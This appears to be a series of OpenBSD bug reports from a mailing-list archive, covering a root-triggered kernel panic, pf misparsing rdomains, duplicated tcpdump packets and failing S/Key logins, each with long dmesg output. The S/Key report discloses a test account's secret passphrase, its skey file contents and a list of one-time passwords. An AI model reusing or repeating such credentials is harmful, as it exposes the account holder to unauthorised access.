FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,MWAIT,SSSE3,CX16,POPCNT,NXE,MMXX,FFXSR,PAGE1GB,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,IBS,SKINIT,ITSC
cpu0: 32KB 64b/line 2-way I-cache, 32KB 64b/line 8-way D-cache, 512KB 64b/line 
16-way L2 cache
cpu0: 8 4MB entries fully associative
cpu0: DTLB 40 4KB entries fully associative, 8 4MB entries fully 

reproducable panic

[pjp]

>Synopsis:  reproduceable panic in if_ether routines
>Category:  kernel
>Environment:
System  : OpenBSD 5.9
Details : OpenBSD 5.9 (GENERIC.MP) #0: Thu Aug 18 18:07:13 CEST 2016
 
p...@beta.virgostar.net:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
It is as root possible to panic the kernel.  On a box that has the IP
192.168.34.4 netmask 255.255.255.0 and only one gateway at .1.
>How-To-Repeat:
made sure all patches are applied from errata...
# ping 192.168.34.99
# ifconfig em0 inet 192.168.34.99 netmask 255.255.255.0 alias   
# ping 192.168.34.99 
>Fix:
I'm stressed as I'm on my dinner break and need to get back to work.
Contact me to get a screenshot with a camera of the panic trace, it 
will take a bit for me to extract the photo from the camera and to
convert it to ascii.

dmesg:
OpenBSD 5.9 (GENERIC.MP) #0: Thu Aug 18 18:07:13 CEST 2016
p...@beta.virgostar.net:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 34006806528 (32431MB)
avail mem = 32971972608 (31444MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xec1f0 (91 entries)
bios0: vendor American Megatrends Inc. version "1504" date 10/04/2013
bios0: ASUS All Series
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP APIC FPDT LPIT SSDT SSDT MCFG HPET SSDT SSDT BGRT DMAR
acpi0: wakeup devices PXSX(S4) RP01(S4) PXSX(S4) RP02(S4) PXSX(S4) RP03(S4) 
PXSX(S4) RP04(S4) PXSX(S4) RP05(S4) PXSX(S4) RP06(S4) PXSX(S4) RP07(S4) 
PXSX(S4) RP08(S4) [...]
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3498.42 MHz
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,LONG,LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM,SENSOR,ARAT
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3497.98 MHz
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,LONG,LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM,SENSOR,ARAT
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 4 (application processor)
cpu2: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3497.98 MHz
cpu2: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,LONG,LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM,SENSOR,ARAT
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 0, core 2, package 0
cpu3 at mainbus0: apid 6 (application processor)
cpu3: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3497.98 MHz
cpu3: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,LONG,LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM,SENSOR,ARAT
cpu3: 256KB 64b/line 8-way L2 cache
cpu3: smt 0, core 3, package 0
cpu4 at mainbus0: apid 1 (application processor)
cpu4: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3497.97 MHz
cpu4: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,LONG,LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM,SENSOR,ARAT
cpu4: 256KB 64b/line 8-way L2 cache
cpu4: smt 1, core 0, package 0
cpu5 at mainbus0: apid 3 (application processor)
cpu5: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3497.98 MHz
cpu5: 

misparsing of rdomain in pf

[pjp]

Synopsis:  pf misparses rdomains
Category:  system
Environment:
System  : OpenBSD 5.7
Details : OpenBSD 5.7 (GENERIC.MP) #0: Fri May  1 07:47:05 CEST 2015
 
r...@mercury.centroid.eu:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
Description:
When I do anything with rdomains the rdomain number is replaced with
0 instead of 1, which is the table I want to work with.  
How-To-Repeat:
# grep rdomain pf.conf|grep -v ^#
pass out on rdomain 1 inet from any to any keep state
# pfctl -f pf.conf
# pfctl -srules|grep rdomain  
pass out on rdomain 0 inet all flags S/SA

Fix:
Yeah, I wish.  I looked at the source code but it requires someone with a
bit of familiarity with it.


dmesg:
The problematic systems dmesg:

OpenBSD 5.7 (GENERIC.MP) #1: Fri May  1 15:36:53 CEST 2015
p...@venus.centroid.eu:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 2130575360 (2031MB)
avail mem = 206616 (1974MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0
acpi at bios0 not configured
mpbios0 at bios0: Intel MP Specification 1.4
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Genuine Intel(R) CPU @ 1.60GHz, 1600.21 MHz
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE,NXE,LONG,LAHF,PERF
cpu0: 512KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.2.0.2, IBE
cpu1 at mainbus0: apid 1 (application processor)
cpu1: Genuine Intel(R) CPU @ 1.60GHz, 1599.99 MHz
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE,NXE,LONG,LAHF,PERF
cpu1: 512KB 64b/line 8-way L2 cache
cpu1: smt 1, core 0, package 0
mpbios0: bus 0 is type PCI   
mpbios0: bus 64 is type ISA   
ioapic0 at mainbus0: apid 0 pa 0xfec0, version 20, 24 pins
cpu0: unknown Enhanced SpeedStep CPU, msr 0x0615101c0600101c
cpu0: using only highest and lowest power states
cpu0: Enhanced SpeedStep 1600 MHz: speeds: 1600, 600 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 Intel E600 Host rev 0x05
pchb1 at pci0 dev 1 function 0 Intel E600 Config rev 0x00
ppb0 at pci0 dev 23 function 0 Intel E600 PCIE rev 0x00
pci1 at ppb0 bus 1
ppb1 at pci1 dev 0 function 0 Intel EG20T PCIE rev 0x01
pci2 at ppb1 bus 2
Intel EG20T Packet Hub rev 0x01 at pci2 dev 0 function 0 not configured
Intel EG20T Ethernet rev 0x02 at pci2 dev 0 function 1 not configured
Intel EG20T GPIO rev 0x01 at pci2 dev 0 function 2 not configured
ohci0 at pci2 dev 2 function 0 Intel EG20T USB rev 0x02: apic 0 int 19, 
version 1.0
ohci1 at pci2 dev 2 function 1 Intel EG20T USB rev 0x02: apic 0 int 19, 
version 1.0
ohci2 at pci2 dev 2 function 2 Intel EG20T USB rev 0x02: apic 0 int 19, 
version 1.0
ehci0 at pci2 dev 2 function 3 Intel EG20T USB rev 0x02: apic 0 int 19
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 Intel EHCI root hub rev 2.00/1.00 addr 1
Intel EG20T USB Client rev 0x02 at pci2 dev 2 function 4 not configured
sdhc0 at pci2 dev 4 function 0 Intel EG20T SDIO rev 0x01: apic 0 int 18
sdmmc0 at sdhc0
sdhc1 at pci2 dev 4 function 1 Intel EG20T SDIO rev 0x01: apic 0 int 18
sdmmc1 at sdhc1
ahci0 at pci2 dev 6 function 0 Intel EG20T AHCI rev 0x02: msi, AHCI 1.1
scsibus1 at ahci0: 32 targets
sd0 at scsibus1 targ 1 lun 0: ATA, INTEL SSDSA2M080, 2CV1 SCSI3 0/direct 
fixed naa.500151795931e477
sd0: 76319MB, 512 bytes/sector, 156301488 sectors, thin
ohci3 at pci2 dev 8 function 0 Intel EG20T USB rev 0x02: apic 0 int 16, 
version 1.0
ohci4 at pci2 dev 8 function 1 Intel EG20T USB rev 0x02: apic 0 int 16, 
version 1.0
ohci5 at pci2 dev 8 function 2 Intel EG20T USB rev 0x02: apic 0 int 16, 
version 1.0
ehci1 at pci2 dev 8 function 3 Intel EG20T USB rev 0x02: apic 0 int 16
usb1 at ehci1: USB revision 2.0
uhub1 at usb1 Intel EHCI root hub rev 2.00/1.00 addr 1
Intel EG20T DMA rev 0x00 at pci2 dev 10 function 0 not configured
puc0 at pci2 dev 10 function 1 Intel EG20T Serial rev 0x01: ports: 1 com
com4 at puc0 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc1 at pci2 dev 10 function 2 Intel EG20T Serial rev 0x00: ports: 1 com
com5 at puc1 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc2 at pci2 dev 10 function 3 Intel EG20T Serial rev 0x00: ports: 1 com
com6 at puc2 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc3 at pci2 dev 10 function 4 Intel EG20T Serial rev 0x00: ports: 1 com
com7 at puc3 port 0 apic 0 int 19: ti16750, 64 byte fifo
Intel EG20T DMA rev 0x00 at pci2 dev 12 function 0 not configured
Intel EG20T SPI rev 0x00 at pci2 dev 12 function 1 not configured
Intel EG20T I2C rev 0x00 at pci2 dev 12 function 2 not configured

tcpdump packets get duplicated on interface gem0

[pjp]

Synopsis:  tcpdump packets get duplicated on interface gem0
Category:  powerpc
Environment:
System  : OpenBSD 5.0
Details : OpenBSD 5.0 (GENERIC) #69: Wed Aug 17 10:17:02 MDT 2011
 
dera...@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC

Architecture: OpenBSD.macppc
Machine : macppc
Description:
While debugging alignment issues with a software of mine on macppc I
noticed that packets on tcpdump on macppc get duplicated.  I checked the
interface on the router (also OpenBSD) and it shows no duplicated packet in
tcpdump (outgoing).
How-To-Repeat:
The macppc host is called mars, the router before it is called uranus
and I did a dns query from mars to uranus while tcpdumping on both, this is
what I did:

# dig -6 @uranus.centroid.eu centroid.eu soa 

And this is what the packet dump on mars looks like:

19:39:09.487056 172.16.2.2.43667  XXX.XX.XX.XX.53: [udp sum ok] 37641+ ? 
uranus.centroid.eu. (36) (ttl 64, id 62934, len 64)
--- duplicate #1 ---
19:39:09.494491 XXX.XX.XX.XX.53  172.16.2.2.43667: 37641 2/3/1 
uranus.centroid.eu.  2001:a60:f000:99::2, uranus.centroid.eu. (181) (ttl 
60, id 56925, len 209)
19:39:09.494510 XXX.XXX.XXX.XXX.53  172.16.2.2.43667: 37641 2/3/1 
uranus.centroid.eu.  2001:a60:f000:99::2, uranus.centroid.eu. (181) (ttl 
60, id 56925, len 209)
-
19:39:09.499766 2001:a60:f074:5::2.2745  2001:a60:f000:99::2.53: [udp sum ok] 
49849+ SOA? centroid.eu. (29) (len 37, hlim 64)
--- duplicate #2 ---
19:39:09.500350 2001:a60:f000:99::2.53  2001:a60:f074:5::2.2745: 49849*- 1/0/0 
centroid.eu. SOA[|domain] (len 84, hlim 64)
19:39:09.500364 2001:a60:f000:99::2.53  2001:a60:f074:5::2.2745: 49849*- 1/0/0 
centroid.eu. SOA[|domain] (len 84, hlim 64)
-

And this is what the tcpdump on uranus looked like:

19:39:09.469020 172.16.2.2.43667  XXX.XXX.XX.XXX.53: [udp sum ok] 37641+ ? 
uranus.centroid.eu. (36) (ttl 64, id 62934, len 64)
19:39:09.476323 XXX.XXX.XXX.XXX.53  172.16.2.2.43667: 37641 2/3/1 
uranus.centroid.eu.  2001:a60:f000:99::2, uranus.centroid.eu. (181) (ttl 
60, id 56925, len 209)
19:39:09.481761 2001:a60:f074:5::2.2745  2001:a60:f000:99::2.53: [udp sum ok] 
49849+ SOA? centroid.eu. (29) (len 37, hlim 64)
19:39:09.482190 2001:a60:f000:99::2.53  2001:a60:f074:5::2.2745: 49849*- 1/0/0 
centroid.eu. SOA[|domain] (len 84, hlim 64)

I have XXX'ed out the IPv4 address of my default nameserver to protect 
innocent me.  As you can see there is duplication.
Fix:
none provided.


dmesg:
OpenBSD 5.0 (GENERIC) #69: Wed Aug 17 10:17:02 MDT 2011
dera...@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC
real mem = 805306368 (768MB)
avail mem = 768524288 (732MB)
mainbus0 at root: model PowerMac5,1
cpu0 at mainbus0: 7400 (Revision 0x209): 450 MHz: 1MB backside cache
mem0 at mainbus0
spdmem0 at mem0: 256MB SDRAM non-parity PC133CL2
spdmem1 at mem0: 256MB SDRAM non-parity PC133CL2
spdmem2 at mem0: 256MB SDRAM non-parity PC133CL2
memc0 at mainbus0: uni-n
kiic0 at memc0 offset 0xf8001000
iic0 at kiic0
mpcpcibr0 at mainbus0 pci: uni-north, Revision 0xff
pci0 at mpcpcibr0 bus 0
pchb0 at pci0 dev 11 function 0 Apple Uni-N AGP rev 0x00
vgafb0 at pci0 dev 16 function 0 ATI Rage Fury rev 0x00, mmio
wsdisplay0 at vgafb0 mux 1: console (std, vt100 emulation)
mpcpcibr1 at mainbus0 pci: uni-north, Revision 0x16
pci1 at mpcpcibr1 bus 0
pchb1 at pci1 dev 11 function 0 Apple Uni-N rev 0x00
macobio0 at pci1 dev 23 function 0 Apple Keylargo rev 0x03
openpic0 at macobio0 offset 0x4: version 0x4614 little endian
macgpio0 at macobio0 offset 0x50
macgpio1 at macgpio0 irq 47
pgs0 at macgpio0: irq 55
i2s at macobio0 offset 0x1 not configured
escc-legacy at macobio0 offset 0x12000 not configured
zsc0 at macobio0 offset 0x13000: irq 22,50
zstty0 at zsc0 channel 0
zstty1 at zsc0 channel 1
timer at macobio0 offset 0x15000 not configured
adb0 at macobio0 offset 0x16000 irq 25: via-pmu, 0 targets
apm0 at adb0: battery flags 0x9, 0% charged
kiic1 at macobio0 offset 0x18000
iic1 at kiic1
wdc0 at macobio0 offset 0x1f000 irq 19: DMA
wd0 at wdc0 channel 0 drive 0: KINGSTON SVP100S264G
wd0: 16-sector PIO, LBA48, 61057MB, 125045424 sectors
atapiscsi0 at wdc0 channel 0 drive 1
scsibus0 at atapiscsi0: 2 targets
cd0 at scsibus0 targ 0 lun 0: MATSHITA, DVD-ROM SR-8186, F213 ATAPI 5/cdrom 
removable
wd0(wdc0:0:0): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
cd0(wdc0:0:1): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
wdc1 at macobio0 offset 0x2 irq 20: DMA
wdc2 at macobio0 offset 0x21000 irq 21: DMA
ohci0 at pci1 dev 24 function 0 Apple USB rev 0x00: irq 27, version 1.0
ohci1 at pci1 dev 25 function 0 Apple USB rev 0x00: irq 28, version 1.0
TI TSB12LV26 FireWire rev 0x00 at pci1 dev 26 function 0 not configured
usb0 at ohci0: USB revision 1.0
uhub0 at usb0 Apple OHCI root hub rev 1.00/1.00 addr 1
usb1 at ohci1: USB revision 1.0
uhub1 at usb1 Apple OHCI root hub 

system/6431: SKEY stops working after some logins

[pjp]

Number: 6431
Category:   system
Synopsis:   SKEY stops working after some logins
Confidential:   yes
Severity:   serious
Priority:   medium
Responsible:bugs
State:  open
Quarter:
Keywords:   
Date-Required:
Class:  sw-bug
Submitter-Id:   unknown
Arrival-Date:   Sun Jul 18 10:30:01 GMT 2010
Closed-Date:
Last-Modified:
Originator: 
Release:
Organization:
Environment:
System  : OpenBSD 4.7
Details : OpenBSD 4.7 (GENERIC.MP) #130: Wed Mar 17 20:48:50 MDT 
2010
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
Description:
After about 20 logins or so my SKEY login stopped working.  Having
tried multiple dozen times to login it wouldn't work.  So I made a testuser
and luckily on the second login it didn't work either but I see no 
correllation between the two.  A second testuser didn't seem to have a
problem getting through 5 logins or more.
How-To-Repeat:
I have the skey set up the host mimas.centroid.eu, the testuser
that doesn't work has the secret passphrase FOReveryoung1 no quotes and
the /etc/skey/testuser file looks like this:
testuser
md5
99
mima79226
ea9744c0ae7f7160


When trying to log in as testuser this is what I did (unsuccessfully):

# su - testuser
$ skey -md5 -n 10 `skeyinfo`
Reminder - Do not use this program while logged in via telnet.
Enter secret passphrase: 
89: COD GRIM CAL OTIS SUCH TESS 90: WADE FILL JOHN BONG WIND WAR91: BABE LUG 
BUCK BADE SETS NICE92: YAP KURT IRK DUKE YOGA EASY 93: NAIL WACK NONE GREW FAST 
DIN94: TIED LOAN HAST BOND SON ELSE95: GELD HERO BOSE FEUD DARN BYE96: HAT HALE 
CRIB CHAT MARC HOOF97: MULE IS MIKE COLD TRIO BODE 98: LUKE ROBE RAVE FISH CREW 
LOF$ ssh testuser:s...@localhost
otp-md5 98 mima79226
S/Key Password:
otp-md5 98 mima79226
S/Key Password:
otp-md5 98 mima79226
S/Key Password:

$ exit

---
It just wouldn't let me in anymore.  The logs say nothing other than the
Jul 18 11:16:44 mimas sshd[6524]: Failed bsdauth for testuser from 127.0.0.1 
port 24344 ssh2
message.

I've disabled skey logins on my system, in case anyone wonders.
Fix:
Unfortunately none.


dmesg:
OpenBSD 4.7 (GENERIC.MP) #130: Wed Mar 17 20:48:50 MDT 2010
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 535756800 (510MB)
avail mem = 509059072 (485MB)
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.4 @ 0xe0010 (98 entries)
bios0: vendor Phoenix Technologies LTD version 6.00 date 12/31/2009
bios0: VMware, Inc. VMware Virtual Platform
acpi0 at bios0: rev 2
acpi0: tables DSDT FACP BOOT APIC MCFG SRAT
acpi0: wakeup devices PCI0(S3) USB_(S1) P2P0(S3) S1F0(S3) S2F0(S3) S3F0(S3) 
S4F0(S3) S5F0(S3) S6F0(S3) S7F0(S3) S8F0(S3) S9F0(S3) Z00P(S3) Z00Q(S3) 
Z00R(S3) Z00S(S3) Z00T(S3) Z00U(S3) Z00V(S3) Z00W(S3) Z00X(S3) Z00Y(S3) 
Z00Z(S3) Z010(S3) Z011(S3) Z012(S3) Z013(S3) Z014(S3) Z015(S3) Z016(S3) 
Z017(S3) Z018(S3) Z019(S3) Z01A(S3) Z01B(S3) P2P1(S3) S1F0(S3) S2F0(S3) 
S3F0(S3) S4F0(S3) S5F0(S3) S6F0(S3) S7F0(S3) S8F0(S3) S9F0(S3) Z00P(S3) 
Z00Q(S3) Z00R(S3) Z00S(S3) Z00T(S3) Z00U(S3) Z00V(S3) Z00W(S3) Z00X(S3) 
Z00Y(S3) Z00Z(S3) Z010(S3) Z011(S3) Z012(S3) Z013(S3) Z014(S3) Z015(S3) 
Z016(S3) Z017(S3) Z018(S3) Z019(S3) Z01A(S3) Z01B(S3) P2P2(S3) S1F0(S3) 
S2F0(S3) S3F0(S3) S4F0(S3) S5F0(S3) S6F0(S3) S7F0(S3) S8F0(S3) S9F0(S3) 
Z00P(S3) Z00Q(S3) Z00R(S3) Z00S(S3) Z00T(S3) Z00U(S3) Z00V(S3) Z00W(S3) 
Z00X(S3) Z00Y(S3) Z00Z(S3) Z010(S3) Z011(S3) Z012(S3) Z013(S3) Z014(S3) 
Z015(S3) Z016(S3) Z017(S3) Z018(S3) Z019(S3) Z01A(S3) Z01B(S3) P2P3(S3) 
S1F0(S3) S2F0(S3) S3F0(S3) S4F0(S3) S5F0(S3) S6F0(
 S3) S7F0(S3) S8F0(S3) S9F0(S3) Z00P(S3) Z00Q(S3) Z00R(S3) Z00S(S3) Z00T(S3) 
Z00U(S3) Z00V(S3) Z00W(S3) Z00X(S3) Z00Y(S3) Z00Z(S3) Z010(S3) Z011(S3) 
Z012(S3) Z013(S3) Z014(S3) Z015(S3) Z016(S3) Z017(S3) Z018(S3) Z019(S3) 
Z01A(S3) Z01B(S3) PE40(S3) S1F0(S3) PE50(S3) S1F0(S3) PE60(S3) S1F0(S3) 
PE70(S3) S1F0(S3) PE80(S3) S1F0(S3) PE90(S3) S1F0(S3) PEA0(S3) S1F0(S3) 
PEB0(S3) S1F0(S3) PEC0(S3) S1F0(S3) PED0(S3) S1F0(S3) PEE0(S3) S1F0(S3) 
PE41(S3) S1F0(S3) PE42(S3) S1F0(S3) PE43(S3) S1F0(S3) PE44(S3) S1F0(S3) 
PE45(S3) S1F0(S3) PE46(S3) S1F0(S3) PE47(S3) S1F0(S3) PE51(S3) S1F0(S3) 
PE52(S3) S1F0(S3) PE53(S3) S1F0(S3) PE54(S3) S1F0(S3) PE55(S3) S1F0(S3) 
PE56(S3) S1F0(S3) PE57(S3) S1F0(S3) PE61(S3) S1F0(S3) PE62(S3) S1F0(S3) 
PE63(S3) S1F0(S3) PE64(S3) S1F0(S3) PE65(S3) S1F0(S3) PE66(S3) S1F0(S3) 
PE67(S3) S1F0(S3) PE71(S3) S1F0(S3) PE72(S3) S1F0(S3) PE73(S3) S1F0(S3) 
PE74(S3) S1F0(S3) PE75(S3) S1F0(S3) PE76(S3) S1F0(S3) PE77(S3) S1F0(S3) 
PE81(S3) S1F0(S3) PE82(S3) S1F0(S3) PE83(S3) S1F0
 (S3) PE84(S3) S1F0(S3) PE85(S3) S1F0(S3) PE86(S3) S1F0(S3) PE87(S3) S1F0(S3) 
PE91(S3) S1F0(S3) PE92(S3) S1F0(S3) PE93(S3) S1F0(S3) PE94(S3) S1F0(S3) 
PE95(S3) S1F0(S3) PE96(S3) S1F0(S3) PE97(S3) S1F0(S3) PEA1(S3) S1F0(S3) 
PEA2(S3) S1F0(S3) PEA3(S3) S1F0(S3)